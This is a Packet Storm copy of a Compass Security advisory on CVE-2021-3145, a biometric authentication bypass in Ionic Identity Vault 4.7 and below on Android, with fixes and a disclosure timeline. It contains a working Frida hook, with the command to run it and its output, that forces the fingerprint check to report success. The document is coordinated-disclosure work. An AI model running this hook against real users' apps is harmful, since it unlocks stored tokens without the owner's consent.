Ionic Identity Vault 4.7 Android Biometric Authentication Bypass

Authored by Emanuel Duss

Posted Sep 8, 2021

Ionic Identity Vault versions 4.7 and below suffer from a biometric authentication bypass vulnerability on Android.

tags | exploit, bypass
advisories | CVE-2021-3145
SHA-256 | 0937a4fec4ba4da6536fb54a86bc96cbee6f829e34003327e23d35d71714b309

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
################################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
################################################################
#
# Product:  Identity Vault
# Vendor:   Ionic
# CSNC ID:  CSNC-2021-001
# CVE ID:   CVE-2021-3145
# Subject:  Biometric Authentication Bypass on Android
# Severity: Medium
# Effect:   Authentication Bypass
# Author:   Emanuel Duss <emanuel.duss@compass-security.com>
# Date:     2021-09-06
#
################################################################

Introduction
------------

Ionic Identity Vault is a secure storage solution for Android and iOS mobile
apps which can e.g. be used to store authentication information like access
tokens [1]. This information can be protected, so that the user has to
authenticate first, before the information is unlocked.

Identity Vault provides different authentication methods:

- Memory only storage (not persisted at all)
- Secure storage (without user authentication)
- Passcode (PIN) authentication
- Biometric authentication (optionally with device PIN fallback)

During a customer project, we could bypass the biometric authentication
mechanism of Ionic Identity Vault on Android, because the Android KeyStore
entry does not require any authentication.


Affected
--------

- Vulnerable: Ionic Identity Vault <= 4.7
- Not vulnerable: Ionic Identity Vault >= 5


Technical Description
---------------------

# Key Unlock Method

When the user enables biometric authentication, the `automaticallyCreateKey`
method is called:

    # objection --gadget org.example.app explore \
      --startup-command 'android hooking watch class
"com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \
      --dump-args --dump-backtrace --dump-return'
    [CUT BY COMPASS]
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.saveKey(android.content.Context,
javax.crypto.SecretKey)
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.automaticallyCreateKey()
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)

This method creates a new KeyStore entry using the
`KeyGenParameterSpec.Builder` method:

    @TargetApi(23)
    private boolean automaticallyCreateKey() {
        synchronized ("keyLock") {
            boolean z = false;
            try {
                KeyStore.getInstance(EncryptionConstants.ANDROID_KEY_STORE).load(null);
                KeyGenerator keyGenerator = KeyGenerator.getInstance(this.mAlgorithm,
EncryptionConstants.ANDROID_KEY_STORE);
                keyGenerator.init(new KeyGenParameterSpec.Builder(this.mKeyAlias,
3).setBlockModes(this.mBlockMode).setUserAuthenticationValidityDurationSeconds(this.mAuthDurationSeconds).setEn
                this.mSecretKey = keyGenerator.generateKey();
                if (this.mSecretKey != null) {
                    z = true;
                }
                return z;
            } catch (KeyStoreException e) {
            [CUT BY COMPASS] // more catches
        }
    }

The `setUserAuthenticationRequired` method [2] is not used. This means that the
user does not have to authenticate either via biometric authentication
(fingerprint) or device PIN.

The KeyStore entry can therefore be used without user authentication and does
not prompt the user for the fingerprint. Instead, another functionality is used
to show the biometric authentication prompt to authenticate the user.


# Biometric Authentication Prompt

When the user has to provide the fingerprint, the `loadKey` method is called:

    # objection -gadget org.example.app explore \
      --startup-command 'android hooking watch class
"com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \
      --dump-args --dump-backtrace --dump-return'
    [CUT BY COMPASS]
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
    (agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.lock()
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
    (agent) [2122602752446] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)

Before the `loadKey` method is used to load the key, the method
`onBiometricActivityResult` is called:
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    # objection --gadget org.example.app explore \
      --startup-command 'android hooking watch class_method
"com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey" \
      --dump-args --dump-backtrace --dump-return'
    [CUT BY COMPASS]
    (agent) [5363570796531] Called
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)
    (agent) [5363570796531] Backtrace:
            com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(Native Method)

com.bottlerocketstudios.vault.StandardSharedPreferenceVault.getString(StandardSharedPreferenceVault.java:212)
            com.ionicframework.auth.IonicCombinedVault.unlock(IonicCombinedVault.java:322)
            com.ionicframework.auth.IdentityVault.forceUnlock(IdentityVault.java:265)
            com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(IonicNativeAuth.java:482)
            com.ionicframework.auth.IonicNativeAuth.onActivityResult(IonicNativeAuth.java:472)
    [CUT BY COMPASS]
```

This method `onBiometricActivityResult` takes the authentication result as an argument. When the `resultCode` is `-1`, authentication is successful and the `forceUnlock` method is called. Otherwise, the authentication fails:

```
    private void onBiometricActivityResult(int resultCode, Intent intent) {
        IdentityVault identityVault = this.mCurrentVault;
        identityVault.doTheLifecycles = true;
        this.mLockedOutOfBiometrics = false;
        if (resultCode == -1) {
            try {
                identityVault.forceUnlock();
                success(this.mLastCallbackContext);
            } catch (VaultError e) {
                error(this.mLastCallbackContext, e);
            }
        } else if (intent != null) {
        [CUT BY COMPASS] // Authentication Failed
```

This can be seen in the backtrace when the authentication is successful:

```
    # objection --gadget org.example.app explore \
      --startup-command 'android hooking watch class_method
"com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult" \
      --dump-args --dump-backtrace --dump-return'
    (agent) [6161244117830] Called com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(int,
android.content.Intent)
    (agent) [6161244117830] Backtrace:
            com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(Native Method)
            [CUT BY COMPASS]
    (agent) [6161244117830] Arguments com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(-1, "
(none)")
    (agent) [6161244117830] Return Value: "(none)"
```

Because the KeyStore entry does not require user authentication, this method can be hooked in order to bypass biometric authentication.

# Biometric Authentication Bypass Hook

The following Frida hook (`frida_hook_fingerprint_bypass.js`) can be used to bypass biometric authentication:

```
    Java.perform(function x() {
      var myclass = Java.use("com.ionicframework.auth.IonicNativeAuth");
      myclass.onBiometricActivityResult.implementation = function (a, b) {
        console.log("[*] Biometric Authentication Bypass Hook");
        console.log("Class: com.ionicframework.auth.IonicNativeAuth");
        console.log("  Method: onBiometricActivityResult");
        console.log("  Parameter: " + a);
        console.log("Change result from 0 to -1 in order to bypass authentication.");
        this.onBiometricActivityResult(-1, b); // This calls the method always with -1
      }
    });
```

Executing the Frida hook:

```
    # frida -U -f org.example.app -l frida_hook_fingerprint_bypass.js --no-pause
```

When the biometric authentication (fingerprit) dialogue appears, the dialogue can be cancelled by clicking somewhere besides the prompt.

The hook is then executed:

```
    [Pixel 3::org.example.app]->
    [*] Biometric Authentication Bypass Hook
    Class: com.ionicframework.auth.IonicNativeAuth
      Method: onBiometricActivityResult
      Parameter: 0
    Change result from 0 to -1 in order to bypass authentication.
```

The user is logged in without providing a valid fingerprint.

This also works if the Ionic Identity Vault configuration `allowSystemPinFallback` is set to `false`.

It has to be noted, that the attacker has to be able to execute code as root on the phone to perform this attack.

Vulnerability Classification

CVSS v3.1 Metrics [3]:

- CVSS Base Score: 4.1 (Medium)
- CVSS Vector: AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Workaround / Fix

# Ionic Identity Vault Library Vendor

Ionic as the vendor of the Identity Vault library has to fix this issue as follows.

For the biometric authentication mechanism with device PIN fallback:

- The KeyStore setting `setUserAuthenticationRequired` should be set to `true` in order to enforce authentication (either with biometrics or the device PIN).

For the biometric authentication mechanism without device PIN fallback:

- The KeyStore setting `setUserAuthenticationRequired` should be set to `true` in order to enforce authentication.
- The KeyStore setting `setUserAuthenticationValidityDurationSeconds ` should be set to `-1` in order to enforce biometric authentication.

On Android >=11, the setting `setUserAuthenticationValidityDurationSeconds` is deprecated and `setUserAuthenticationParameters` should be set to `0,1` instead to enforce biometric authentication.

See the Android Developer Reference on `KeyGenParameterSpec.Builder` for more information [2].

# Ionic Identity Vault Library Users

Customers of the Ionic Identity Vault should use the updated version Identity Vault 5.

Acknowledgement

A very big thank you to my colleague Alex Joss for the support in analyzing this vulnerability. This was very interesting and I learned a lot!

Timeline

```
2020-12-11: Vulnerability discovered
2021-01-13: Requested CVE ID @ MITRE
2021-01-14: Opened ticket at Ionic
            Asked for security contact via Twitter DM (@Ionicframework)
            Assigned CVE-2021-3145
2021-01-15: Asked for security contact via Twitter & IRC (#ionic on freenode)
2021-01-18: Got contact details via Twitter DM. Asked how to send details
2021-01-20: Asked again how to send details
2021-01-21: Sent details via email. Ionic will discuss the issue internally
2021-02-03: Asked for a status update
2021-02-09: Vendor confirmed vulnerability & will fix it in 90 days
2021-08-17: Asked for status since vendor did inform us
2021-08-19: Vendor told it should be fixed in version 5
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other
SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
2021-09-06: Coordinated public disclosure


References
----------

[1] https://ionic.io/docs/identity-vault
[2] https://developer.android.com/reference/android/security/keystore/KeyGenParameterSpec.Builder
[3] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N&version=3.1
```

Login or Register to add favorites

packet storm